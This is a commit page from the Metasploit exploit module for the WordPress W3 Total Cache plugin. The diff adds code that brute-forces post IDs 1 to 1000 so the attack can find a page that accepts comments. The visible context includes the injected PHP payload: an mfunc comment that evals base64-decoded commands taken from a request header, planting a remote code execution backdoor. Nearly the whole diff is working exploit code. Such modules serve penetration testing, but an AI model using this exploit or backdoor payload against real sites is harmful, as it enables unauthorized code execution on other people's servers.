Skip to content

Commit ded0269

Browse files
author
jvazquez-r7
committed
Add POST ID bruteforcing capabality
1 parent fca4c3b commit ded0269

File tree

1 file changed

+41
-1
lines changed

1 file changed

+41
-1
lines changed

modules/exploits/unix/webapp/php_wordpress_total_cache.rb

Lines changed: 41 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def initialize(info = {})
5151
register_options(
5252
[
5353
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
54-
OptInt.new('POSTID', [ true, "The post ID where publish the comment" ]),
54+
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
5555
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
5656
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
5757
], self.class)
@@ -102,6 +102,33 @@ def login
102102

103103
end
104104

105+
def check_post_id(uri)
106+
options = {
107+
'method' => 'GET',
108+
'uri' => uri
109+
}
110+
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
111+
res = send_request_cgi(options)
112+
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
113+
return true
114+
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
115+
location = URI(res.headers["Location"])
116+
uri = location.path
117+
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
118+
return check_post_id(uri)
119+
end
120+
return false
121+
end
122+
123+
def find_post_id
124+
(1..1000).each{|id|
125+
vprint_status("#{peer} - Checking POST ID #{id}...")
126+
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
127+
return id if res
128+
}
129+
return nil
130+
end
131+
105132
def post_comment
106133
php_payload = "<!--mfunc if (sha1($_SERVER[HTTP_SUM]) == '#{@sum}' ) { eval(base64_decode($_SERVER[HTTP_CMD])); } --><!--/mfunc-->"
107134

@@ -149,6 +176,19 @@ def exploit
149176
print_status("#{peer} - Trying unauthenticated exploitation...")
150177
end
151178

179+
if datastore['POSTID'] and datastore['POSTID'] != 0
180+
@post_id = datastore['POSTID']
181+
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
182+
else
183+
print_status("#{peer} - Trying to brute force a valid POST ID...")
184+
@post_id = find_post_id
185+
if @post_id.nil?
186+
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
187+
else
188+
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
189+
end
190+
end
191+
152192
random_test = rand_text_alpha(4096)
153193
@sum = Rex::Text.sha1(random_test)
154194

0 commit comments

Comments
 (0)